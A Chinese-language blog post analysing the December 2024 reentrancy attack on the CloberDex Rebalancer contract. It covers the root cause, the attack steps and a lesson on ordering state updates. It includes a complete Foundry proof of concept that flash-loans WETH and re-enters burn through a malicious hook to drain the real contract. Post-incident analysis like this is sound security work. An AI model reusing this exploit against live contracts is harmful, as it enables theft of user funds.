{"author":{"address":null,"user":"https://learnblockchain.cn/people/21890"},"content":{"body":"## 基础信息\r\n2024.12.10日CloberDex合约遭受重入攻击导致损失133.7个WETH。我对此攻击进行了分析，深入代码查看漏洞根源，梳理攻击流程，并基于foundry完成了一份PoC。\r\n本次攻击的根因：未检测用户输入+重入漏洞。\r\n**攻击交易**：\r\nhttps://app.blocksec.com/explorer/tx/base/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04\r\n**被害合约地址**：\r\n0x6a0b87d6b74f7d5c92722f6a11714dbeda9f3895\r\n**首次纰漏的twitter**：\r\nhttps://x.com/CertiKAlert/status/1866425599541080338\r\n## 漏洞合约与代码分析\r\n### rebalancer协议概述\r\n虽然网上对于rebalancer的介绍非常少，至少我自己没发现他的官方网站或者详细一点的项目介绍。所以我只能从代码中通过主要对外开放的合约方法对该项目有一个大概的了解。\r\n代码中可以被外部调用且非view的方法只有四个：\r\n- open：该方法与本次攻击相关。这个方法用于创建并初始化一个新的交易对池子。用户不仅可以绑定特定的交易对，还可以输入strategy用于指定该资产池所使用的策略地址。这是本次攻击的关键。\r\n- burn：用户在资产池中销毁一定数量LP token，提取对应的底层资产。销毁时需要处罚用户自定义策略地址的burnhook方法，这是本次攻击的关键。\r\n- rebalance：根据预先设置的策略，重新分配池子里两个资产的流动性。此方法与本次攻击无关。\r\n- mint: 一个payable方法，用户通过向这个方法中转入资金，合约计算当前池子里，两种币对的流动性，然后计算出mint amount，最终生产代币转给用户。此方法与本次攻击有一些关系，但关系不大，不是漏洞根源。\r\n### open方法\r\nopen方法可以直接被外部用户调用，通过合约间层层调用，最终会到达_open函数，在252行可以看到，用户传入的 参数strategy最终会被保存在池子参数里。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/db1HLa4c6773abe48ed3b.png)\r\n### burn方法\r\n在burn方法的277行可以发现，这里最终调用了open函数中用户传入的strategy地址合约的burnhook方法，由于这个合约是用户控制，那么burnhook方法可以植入恶意代码。在本次攻击里，用户在burnhook逻辑中重新进入burn方法，拿到了更多的底层资产（WETH）。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/yKXVxQo46773abfe21846.png)\r\n## 攻击步骤讲解\r\n黑客在攻击前首先部署了一个币（称它为A币好了）：0xd3c8d0cd07ade92df2d88752d36b80498ca12788，然后闪电贷267.4个WETH，在rebalancer创建了A币和WETH的交易池。WETH为基础货币（base），A币为报价货币（quote）\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/2sIp6VxS6773ac137e4f9.png)\r\n开通池子后，黑客把借到的所有WETH和自己发行的A币都投入到池子铸造出267.4个LP Token。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/cvZRGVy46773ac3a129e0.png)\r\n然后黑客调用burn函数试图销毁一半（133.7）的LP Token。让我们具体看一下Burn函数是如果工作的：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/FH5WJiVR6773ac4d6c44b.png)\r\n在burn中通过上述分析的代码最终调用了黑客的burnHook方法，在BurnHook方法中，黑客再次调用rebalancer的burn方法。\r\n- 第一次进入Burn，由于是烧掉一半的LP Token，所以黑客得到rebalancer返回的133.7个WETH。\r\n- 第二次进入Burn，这时再烧掉133.7个LP Token，相当于整个资金池100%的WETH都要返回，所以黑客得到了267.4个WETH\r\n\r\n为什么第一次进入后，第二次进入前，合约还认为总体资金量（total reserve）是267.4个，LP Token总发行量（total supply）是133.7个了？让我们再回到burn代码：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/zUimwjD36773ac7f254cb.png)\r\n修改LP Token总供应量total supply的代码（276行）发生在重入之前，修改总体资金量total reserve的代码（282-283行）发生在重入之后，所以第二次进入的时候，合约还没来得及修改自己总体资金量total reserve，但是已经修改了总供应量total supply。所以黑客第二次仅持有133.7个LP Token被误认为持有所有WETH和A币的“股权”。\r\n总体算下来，黑客赚到了133.7个WETH。\r\n## PoC代码\r\n通过foundry在本地模拟黑客攻击，确实可以盈利133个WETH，美滋滋。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/6cCFf2wX6773aca0e48b6.png)\r\n\r\n\r\n```js\r\n//这个是攻击代码\r\n// SPDX-License-Identifier: UNLICENSED\r\n//forge test --match-path test/rebalancer.t.sol -vvv --evm-version cancun\r\npragma solidity ^0.8.25;\r\nimport \"lib/forge-std/src/Test.sol\";\r\nimport \"./ERC20.sol\";\r\nimport \"./interface.rebalancer.sol\";\r\ncontract rebalancerTest is Test,ERC20(100000){\r\n    address weth = 0x4200000000000000000000000000000000000006;\r\n    address morphoBlue=0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\r\n    address rebalancer =0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895;\r\n    uint256 amountToHack=0;\r\n    uint256 rebalancerWETH=0;\r\n    bool reEntry =false;\r\n\r\n    function setUp() external {\r\n        vm.createSelectFork( \"https://developer-access-mainnet.base.org\", 23514451 - 1);\r\n        deal(address(this), 1e18);\r\n    }\r\n\r\n    function testAttack() external{\r\n        //攻击前账户余额\r\n        console.log(\"before Attacking, I have WETH: \",IERC20(weth).balanceOf(address(this))/10**18);\r\n        //1. 闪电贷\r\n        rebalancerWETH=IERC20(weth).balanceOf(rebalancer);\r\n        rebalancerWETH=(rebalancerWETH/10**18)*10**18;\r\n        amountToHack = rebalancerWETH*2;\r\n        Morpho(morphoBlue).flashLoan(weth,amountToHack,\"0\");\r\n        //攻击后账户余额\r\n        console.log(\"after Attacking, I have WETH: \",IERC20(weth).balanceOf(address(this))/10**18);\r\n    }\r\n    function onMorphoFlashLoan(uint256 amount, bytes calldata data ) external{\r\n        //1. 创建一个交易对池子（open）\r\n        IHooks hooksA =IHooks(address(0x0000000000000000000000000000000000000000));\r\n        IRebalancer.Currency baseCurrencyA = IRebalancer.Currency.wrap(weth);\r\n        IRebalancer.Currency quoteA = IRebalancer.Currency.wrap(address(this));\r\n        IRebalancer.FeePolicy makerPolicyA = IRebalancer.FeePolicy.wrap(uint24(888608));\r\n        IRebalancer.BookKey memory bookKeyA = IRebalancer.BookKey({base: baseCurrencyA, unitSize: 1, quote: quoteA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});\r\n        IRebalancer.BookKey memory bookKeyB = IRebalancer.BookKey({base: quoteA, unitSize: 1, quote: baseCurrencyA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});\r\n        bytes32 poolKey=IRebalancer(rebalancer).open(bookKeyA,bookKeyB,\"1\",address(this));\r\n        //2. 交易对池子中添加流动性 approve这两个币\r\n        this.approve(rebalancer,type(uint256).max);\r\n        \r\n        IERC20(weth).approve(rebalancer,amountToHack);\r\n        //3. 因为添加了流动性，所以mint会通过\r\n        IRebalancer(rebalancer).mint(poolKey,amountToHack,amountToHack,0);\r\n        //4. burn刚才获得的LP token\r\n        IRebalancer(rebalancer).burn(poolKey,rebalancerWETH,0,0);\r\n        //5.还闪电贷\r\n        IERC20(weth).approve(morphoBlue,amount);\r\n    }\r\n    function burnHook(address receiver,  bytes32 key, uint256 burnAmount, uint256 lastTotalSupply ) external{\r\n        if(reEntry == false){\r\n            reEntry=true;\r\n            IRebalancer(rebalancer).burn(key,rebalancerWETH,0,0);\r\n        }\r\n    }\r\n    function mintHook(address receiver,bytes32 key, uint256 amount,uint256 amount2) external{}\r\n}\r\n```\r\n\r\n\r\n```js\r\n// SPDX-License-Identifier: MIT\r\n//这个是简单实现的erc20.\r\npragma solidity ^0.8.0;\r\nimport \"lib/forge-std/src/Test.sol\";\r\n\r\ncontract ERC20 is Test {\r\n    string public name = \"SimpleToken\";\r\n    string public symbol = \"SIM\";\r\n    uint8 public decimals = 18;\r\n    uint256 public totalSupply;\r\n\r\n    mapping(address =\u003e uint256) private balances;\r\n    mapping(address =\u003e mapping(address =\u003e uint256)) private allowances;\r\n\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n\r\n    constructor(uint256 _initialSupply) {\r\n        totalSupply = _initialSupply * (10 ** uint256(decimals));\r\n        balances[0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496] = totalSupply;\r\n        emit Transfer(address(0), msg.sender, totalSupply);\r\n    }\r\n\r\n    function balanceOf(address account) public view returns (uint256) {\r\n        return balances[account];\r\n    }\r\n\r\n    function transfer(address to, uint256 amount) public returns (bool) {\r\n        //require(balances[msg.sender] \u003e= amount, \"Insufficient balance\");\r\n        //_transfer(msg.sender, to, amount);\r\n        return true;\r\n    }\r\n\r\n    function _transfer(address from, address to, uint256 amount) internal {\r\n        require(to != address(0), \"Transfer to zero address\");\r\n        balances[from] -= amount;\r\n        balances[to] += amount;\r\n        emit Transfer(from, to, amount);\r\n    }\r\n\r\n    function approve(address spender, uint256 amount) public returns (bool) {\r\n        _approve(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function _approve(address owner, address spender, uint256 amount) internal {\r\n        require(owner != address(0), \"Approve from zero address\");\r\n        require(spender != address(0), \"Approve to zero address\");\r\n        allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return allowances[owner][spender];\r\n    }\r\n\r\n    function transferFrom(address from, address to, uint256 amount) public returns (bool) {\r\n        require(allowances[from][msg.sender] \u003e= amount, \"Allowance exceeded\");\r\n        require(balances[from] \u003e= amount, \"Insufficient balance\");\r\n        _transfer(from, to, amount);\r\n        _approve(from, msg.sender, allowances[from][msg.sender] - amount);\r\n        return true;\r\n    }\r\n}\r\n```\r\n\r\n## 思考\r\n大家都知道，防止重入一个有效方式是“先记账，后转账”。这个合约代码逻辑是“先记一部分账，然后调用了一个存在风险的合约策略，再记一部分帐，最后转账”。可能很多开发同学只是死记硬背“先记账，后转账”的道理，为什么这么做却不甚了解，导致真正实践的时候并不能从根源上避免重入。\r\n我觉得以后记账的全部操作越早完成全部越好。","title":"CloberDex-Rebalancer攻击分析---重入漏洞"},"history":null,"timestamp":1735634358,"version":1}